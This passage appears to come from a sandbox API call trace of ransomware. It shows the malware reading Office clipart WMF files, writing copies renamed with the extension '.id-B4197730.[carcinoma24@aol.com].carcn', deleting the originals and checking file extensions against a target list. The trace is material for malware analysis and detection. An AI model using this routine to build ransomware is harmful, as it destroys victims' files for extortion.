lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.077] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.078] SetEndOfFile (hFile=0x370) returned 1 [0299.078] CloseHandle (hObject=0x370) returned 1 [0299.078] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.078] SetEndOfFile (hFile=0x394) returned 1 [0299.081] CloseHandle (hObject=0x394) returned 1 [0299.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0299.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.082] lstrlenW (lpString=".doc") returned 4 [0299.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.082] lstrlenW (lpString=".docx") returned 5 [0299.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.082] lstrlenW (lpString=".pdf") returned 4 [0299.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.082] lstrlenW (lpString=".xls") returned 4 [0299.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.082] lstrlenW (lpString=".xlsx") returned 5 [0299.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.082] lstrlenW (lpString=".ppt") returned 4 [0299.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.083] lstrlenW (lpString=".zip") returned 4 [0299.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.083] lstrlenW (lpString=".rar") returned 4 [0299.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.083] lstrlenW (lpString=".bz2") returned 4 [0299.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.083] lstrlenW (lpString=".7z") returned 3 [0299.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.083] lstrlenW (lpString=".dbf") returned 4 [0299.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.083] lstrlenW (lpString=".1cd") returned 4 [0299.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.083] lstrlenW (lpString=".jpg") returned 4 [0299.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.083] lstrlenW (lpString=".doc") returned 4 [0299.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.083] lstrlenW (lpString=".docx") returned 5 [0299.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.083] lstrlenW (lpString=".pdf") returned 4 [0299.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.083] lstrlenW (lpString=".xls") returned 4 [0299.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.084] lstrlenW (lpString=".xlsx") returned 5 [0299.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.084] lstrlenW (lpString=".ppt") returned 4 [0299.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.084] lstrlenW (lpString=".zip") returned 4 [0299.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.084] lstrlenW (lpString=".rar") returned 4 [0299.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.084] lstrlenW (lpString=".bz2") returned 4 [0299.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.084] lstrlenW (lpString=".7z") returned 3 [0299.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.084] lstrlenW (lpString=".dbf") returned 4 [0299.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.084] lstrlenW (lpString=".1cd") returned 4 [0299.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0299.084] lstrlenW (lpString=".jpg") returned 4 [0299.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.084] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.084] lstrlenW (lpString="BS01603_.WMF") returned 12 [0299.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.085] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7176) returned 1 [0299.085] CloseHandle (hObject=0x394) returned 1 [0299.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0299.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.086] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.086] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.090] GetLastError () returned 0x0 [0299.090] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1c08, lpOverlapped=0x0) returned 1 [0299.091] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0299.092] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.092] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.092] SetEndOfFile (hFile=0x370) returned 1 [0299.093] CloseHandle (hObject=0x370) returned 1 [0299.093] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.093] SetEndOfFile (hFile=0x394) returned 1 [0299.102] CloseHandle (hObject=0x394) returned 1 [0299.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0299.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.103] lstrlenW (lpString=".doc") returned 4 [0299.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.103] lstrlenW (lpString=".docx") returned 5 [0299.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.103] lstrlenW (lpString=".pdf") returned 4 [0299.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.103] lstrlenW (lpString=".xls") returned 4 [0299.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.103] lstrlenW (lpString=".xlsx") returned 5 [0299.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.103] lstrlenW (lpString=".ppt") returned 4 [0299.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.103] lstrlenW (lpString=".zip") returned 4 [0299.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.103] lstrlenW (lpString=".rar") returned 4 [0299.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.104] lstrlenW (lpString=".bz2") returned 4 [0299.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.104] lstrlenW (lpString=".7z") returned 3 [0299.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.104] lstrlenW (lpString=".dbf") returned 4 [0299.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.104] lstrlenW (lpString=".1cd") returned 4 [0299.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.104] lstrlenW (lpString=".jpg") returned 4 [0299.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.104] lstrlenW (lpString=".doc") returned 4 [0299.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.104] lstrlenW (lpString=".docx") returned 5 [0299.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.104] lstrlenW (lpString=".pdf") returned 4 [0299.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.104] lstrlenW (lpString=".xls") returned 4 [0299.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.104] lstrlenW (lpString=".xlsx") returned 5 [0299.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.104] lstrlenW (lpString=".ppt") returned 4 [0299.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.105] lstrlenW (lpString=".zip") returned 4 [0299.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.105] lstrlenW (lpString=".rar") returned 4 [0299.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.105] lstrlenW (lpString=".bz2") returned 4 [0299.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.105] lstrlenW (lpString=".7z") returned 3 [0299.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.105] lstrlenW (lpString=".dbf") returned 4 [0299.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.105] lstrlenW (lpString=".1cd") returned 4 [0299.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0299.105] lstrlenW (lpString=".jpg") returned 4 [0299.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.105] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.105] lstrlenW (lpString="BS01634_.WMF") returned 12 [0299.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.106] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3494) returned 1 [0299.106] CloseHandle (hObject=0x394) returned 1 [0299.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0299.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.106] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.106] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.107] GetLastError () returned 0x0 [0299.107] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xda6, lpOverlapped=0x0) returned 1 [0299.109] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xdb0, lpOverlapped=0x0) returned 1 [0299.110] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.110] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.111] SetEndOfFile (hFile=0x370) returned 1 [0299.111] CloseHandle (hObject=0x370) returned 1 [0299.111] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.111] SetEndOfFile (hFile=0x394) returned 1 [0299.114] CloseHandle (hObject=0x394) returned 1 [0299.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0299.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.115] lstrlenW (lpString=".doc") returned 4 [0299.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.115] lstrlenW (lpString=".docx") returned 5 [0299.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.115] lstrlenW (lpString=".pdf") returned 4 [0299.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.115] lstrlenW (lpString=".xls") returned 4 [0299.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.115] lstrlenW (lpString=".xlsx") returned 5 [0299.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.116] lstrlenW (lpString=".ppt") returned 4 [0299.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.116] lstrlenW (lpString=".zip") returned 4 [0299.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.116] lstrlenW (lpString=".rar") returned 4 [0299.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.116] lstrlenW (lpString=".bz2") returned 4 [0299.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.116] lstrlenW (lpString=".7z") returned 3 [0299.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.116] lstrlenW (lpString=".dbf") returned 4 [0299.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.116] lstrlenW (lpString=".1cd") returned 4 [0299.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.116] lstrlenW (lpString=".jpg") returned 4 [0299.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.116] lstrlenW (lpString=".doc") returned 4 [0299.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.116] lstrlenW (lpString=".docx") returned 5 [0299.117] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.117] lstrlenW (lpString=".pdf") returned 4 [0299.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.117] lstrlenW (lpString=".xls") returned 4 [0299.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.117] lstrlenW (lpString=".xlsx") returned 5 [0299.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.117] lstrlenW (lpString=".ppt") returned 4 [0299.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.117] lstrlenW (lpString=".zip") returned 4 [0299.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.117] lstrlenW (lpString=".rar") returned 4 [0299.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.117] lstrlenW (lpString=".bz2") returned 4 [0299.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.117] lstrlenW (lpString=".7z") returned 3 [0299.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.117] lstrlenW (lpString=".dbf") returned 4 [0299.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.117] lstrlenW (lpString=".1cd") returned 4 [0299.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0299.117] lstrlenW (lpString=".jpg") returned 4 [0299.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.118] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.118] lstrlenW (lpString="BS01635_.WMF") returned 12 [0299.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.118] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=14996) returned 1 [0299.118] CloseHandle (hObject=0x394) returned 1 [0299.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0299.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.119] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.119] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.119] GetLastError () returned 0x0 [0299.119] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0299.478] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0299.493] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.493] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.494] SetEndOfFile 